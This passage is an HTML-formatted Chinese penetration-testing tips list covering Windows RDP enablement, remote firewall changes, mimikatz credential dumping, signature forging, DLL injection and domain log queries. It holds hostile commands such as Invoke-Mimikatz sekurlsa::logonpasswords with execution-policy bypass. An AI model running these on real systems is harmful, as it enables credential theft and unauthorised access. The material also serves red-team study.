&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;incognito

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&lt;span class="md_line_space_chars md_line_space_chars_1"&gt; &lt;/span&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Token%E7%AA%83%E5%8F%96%E4%B8%8E%E5%88%A9%E7%94%A8/"&gt;渗透技巧——Token窃取与利用&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_92" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 45 3389远程连接&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_93" class="h16"&gt;&lt;span class="span_for_h"&gt;1、查询系统是否允许3389远程连接：&lt;/span&gt;&lt;/h4&gt;
&lt;code&gt;REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections&lt;/code&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;1表示关闭，0表示开启&lt;/span&gt;
&lt;/p&gt;

&lt;span class="md_repeated_n md_repeated_n_1"&gt;&lt;/span&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;查看远程连接的端口：&lt;/span&gt;
&lt;/p&gt;

&lt;code&gt;REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber&lt;/code&gt;&lt;h4 id="toc_94" class="h16"&gt;&lt;span class="span_for_h"&gt;2、本机开启3389远程连接的方法&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;方法1：通过cmd&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;方法2：通过reg文件&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;内容如下：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber"=dword:00000d3d&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;导入注册表：&lt;/span&gt;
&lt;/p&gt;

&lt;code&gt;regedit /s a.reg&lt;/code&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;注：&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;修改连接端口重启后生效&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;补充&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果系统未配置过远程桌面服务，第一次开启时还需要添加防火墙规则，允许3389端口，命令如下:&lt;/span&gt;
&lt;/p&gt;

&lt;code&gt;netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow&lt;/code&gt;&lt;h4 id="toc_95" class="h16"&gt;&lt;span class="span_for_h"&gt;3、远程连接方法&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;kali使用3389远程连接：&lt;/span&gt;
&lt;/p&gt;

&lt;code&gt;rdesktop 192.168.1.1:3389&lt;/code&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Windows：&lt;/span&gt;
&lt;/p&gt;

&lt;code&gt;mstsc.exe&lt;/code&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;非服务器版本的Windows系统，默认只允许一个账户登录&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;具体表现为：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;远程登录时，使用与原系统相同的账户，原系统将被切换到登录界面&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用不同的账户，原系统桌面将弹框提示是否断开当前连接(30秒后默认选择同意)&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;解决方法:&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用mimikatz.exe,执行&lt;code&gt;ts::multirdp&lt;/code&gt;允许多用户远程登录&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;能够实现不同帐户远程登录不冲突,原系统桌面不会弹框提示&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;当然，使用与原系统相同的账户，原系统还是会被切换到登录界面&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;注：&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;该方法在系统重启后失效，下次使用需要重新执行命令&lt;code&gt;ts::multirdp&lt;/code&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;也可通过修改文件termsrv.dll实现永久修改&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E7%9A%84%E5%A4%9A%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95/"&gt;《渗透技巧——Windows系统远程桌面的多用户登录》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_96" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 46 使用netsh修改远程系统的防火墙规则&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;远程系统需要&lt;code&gt;允许Windows防火墙远程管理&lt;/code&gt;,开启命令如下：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;netsh advfirewall set currentprofile settings remotemanagement enable&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;eg.&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;netsh -r 192.168.0.2 -u TEST\administrator -p domain123! advfirewall firewall add rule name="any" protocol=TCP dir=in localport=any action=allow&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8DCOM%E5%9C%A8%E8%BF%9C%E7%A8%8B%E7%B3%BB%E7%BB%9F%E6%89%A7%E8%A1%8C%E7%A8%8B%E5%BA%8F/"&gt;《域渗透——利用DCOM在远程系统执行程序》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_97" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 47 劫持UAC&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;当弹出UAC提示框的时候，执行任意代码,可通过修改注册表劫持签名验证的功能，插入payload&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Authenticode%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0-PE%E6%96%87%E4%BB%B6%E7%9A%84%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0%E4%B8%8E%E7%AD%BE%E5%90%8D%E9%AA%8C%E8%AF%81%E5%8A%AB%E6%8C%81/"&gt;《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_98" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 48 PE文件的Authenticode签名伪造&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过修改注册表，能够给PE文件添加微软证书&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Authenticode%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0-PE%E6%96%87%E4%BB%B6%E7%9A%84%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0%E4%B8%8E%E7%AD%BE%E5%90%8D%E9%AA%8C%E8%AF%81%E5%8A%AB%E6%8C%81/"&gt;《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Authenticode%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0-%E9%92%88%E5%AF%B9%E6%96%87%E4%BB%B6%E7%B1%BB%E5%9E%8B%E7%9A%84%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0/"&gt;《Authenticode签名伪造——针对文件类型的签名伪造》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_99" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 49 PE文件的Catalog签名伪造&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;构造Long UNC文件名，实现文件名欺骗，获得Catalog签名&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Catalog%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0-Long-UNC%E6%96%87%E4%BB%B6%E5%90%8D%E6%AC%BA%E9%AA%97/"&gt;《Catalog签名伪造——Long UNC文件名欺骗》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_100" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 50 mklink&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;用于创建符号链接，可理解为快捷方式&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;创建目录c:\test\1，指向c:\temp，可使用以下操作：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(1) 使用/D参数命令创建一个链接：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;mklink /D &amp;quot;c:\test\1&amp;quot; &amp;quot;c:\Temp&amp;quot;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(2) 使用/J参数命令创建一个联接：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;mklink /J &amp;quot;c:\test\1&amp;quot; &amp;quot;c:\Temp&amp;quot;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;差异：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用/D参数创建的链接，文件属性多了&amp;quot;快捷方式&amp;quot;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用/J不需要管理员权限&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用/D需要管理员权限&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;应用：&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;更改释放文件的路径 &lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_101" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 51 powershell在执行脚本时传入参数&lt;/span&gt;&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;powershell -executionpolicy bypass -Command "Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -DumpCerts"

powershell -executionpolicy bypass -Command "Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command ""log ""privilege::debug"" ""sekurlsa::logonpasswords"""""&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;hr&gt;
&lt;h3 id="toc_102" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 52 dll注入方法&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_103" class="h16"&gt;&lt;span class="span_for_h"&gt;1、APC&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E9%80%9A%E8%BF%87APC%E5%AE%9E%E7%8E%B0Dll%E6%B3%A8%E5%85%A5-%E7%BB%95%E8%BF%87Sysmon%E7%9B%91%E6%8E%A7/"&gt;《通过APC实现Dll注入——绕过Sysmon监控》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_104" class="h16"&gt;&lt;span class="span_for_h"&gt;2、process hollowing&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%82%80%E5%84%A1%E8%BF%9B%E7%A8%8B%E7%9A%84%E5%AE%9E%E7%8E%B0%E4%B8%8E%E6%A3%80%E6%B5%8B/"&gt;《傀儡进程的实现与检测》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_105" class="h16"&gt;&lt;span class="span_for_h"&gt;3、Process Doppelgänging&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Process-Doppelganging%E5%88%A9%E7%94%A8%E4%BB%8B%E7%BB%8D/"&gt;《Process Doppelganging利用介绍》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_106" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 53 域内默认共享目录&lt;/span&gt;&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;\\&amp;lt;DOMAIN&amp;gt;\SYSVOL\&amp;lt;DOMAIN&amp;gt;\&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;所有域内主机都能访问，里面保存组策略相关数据，包含登录脚本配置文件等&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8SYSVOL%E8%BF%98%E5%8E%9F%E7%BB%84%E7%AD%96%E7%95%A5%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81/"&gt;《域渗透——利用SYSVOL还原组策略中保存的密码》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_107" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 54 你的TeamViewer有可能被反控&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果你的TeamViewer版本为&lt;code&gt;13.0.5058&lt;/code&gt;，不要随意连接未知的TeamViewer服务器，有可能被反控&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/TeamViewer-13.0.5058%E4%B8%AD%E7%9A%84%E6%9D%83%E9%99%90%E6%BC%8F%E6%B4%9E%E6%B5%8B%E8%AF%95/"&gt;《TeamViewer 13.0.5058中的权限漏洞测试》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_108" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 55 远程查看域控登录、注销相关的日志：&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_109" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1:&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 and 4623 and 4672]" /r:dc1 /u:administrator /p:password &lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;&lt;h4 id="toc_110" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(不推荐，直接下载文件太大)&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;获取域控文件:&lt;code&gt;C:\Windows\System32\winevt\Logs\Security.evtx&lt;/code&gt;，筛选事件4624/4623/4672&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_111" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 56 判断当前系统是否处在待机状态&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;锁屏状态下GetForegroundWindow()的函数返回值为NULL，非锁屏状态下GetForegroundWindow()的函数返回值为一个非零的值&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://stackoverflow.com/questions/9563549/what-happens-behind-the-windows-lock-screen&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Powershell脚本实现：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/Writeup/blob/master/CheckStandby.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_112" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 57 获得当前系统用户无输入的时间&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过API GetIdleTime进行判断&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;c#实现：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://www.codeproject.com/Articles/13384/Getting-the-user-idle-time-with-C&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;powershell脚本实现：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/Writeup/blob/master/GetIdleTime.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_113" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 58 判断当前系统的屏保启动时间&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;判断是否开启屏保：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;查找注册表&lt;code&gt;HKEY_CURRENT_USER\Control Panel\Desktop&lt;/code&gt;，是否存在键值&lt;code&gt;SCRNSAVE.EXE&lt;/code&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;REG QUERY "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果开启屏保，查看键值&lt;code&gt;ScreenSaveTimeOut&lt;/code&gt;获得屏保启动时间(以秒为单位)&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;REG QUERY "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeOut&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;hr&gt;
&lt;h3 id="toc_114" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 59 隐藏指定进程的界面&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过API ShowWindowAsync改变窗口状态&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过powershell实现，脚本可参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/Writeup/blob/master/HiddenProcess.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_115" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 60 通过Powershell对Windows系统截屏&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;脚本下载地址：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://gallery.technet.microsoft.com/scriptcenter/eeff544a-f690-4f6b-a586-11eea6fc5eb8/file/50729/1/Take-ScreenShot.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_116" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 61 查看当前Windows系统已安装的程序&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过枚举注册表项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall下所有子健的DisplayName获取&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;注：&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;64位系统下32位程序的目录为&lt;code&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall&lt;/code&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;powershell脚本实现的参考地址：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/ListInstalledPrograms&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_117" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 62 通过wmi获得当前系统的类型&lt;/span&gt;&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_ComputerSystem get PCSystemType /FORMAT:list&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;|Value|Meaning|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;| - | - |&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|0 (0x0) |Unspecified|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|1 (0x1) |Desktop|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|2 (0x2) |Mobile|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|3 (0x3) |Workstation|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|4 (0x4) |Enterprise Server|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|5 (0x5) |Small Office and Home Office (SOHO) Server|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|6 (0x6) |Appliance PC|&lt;br /&gt;&lt;/span&gt;
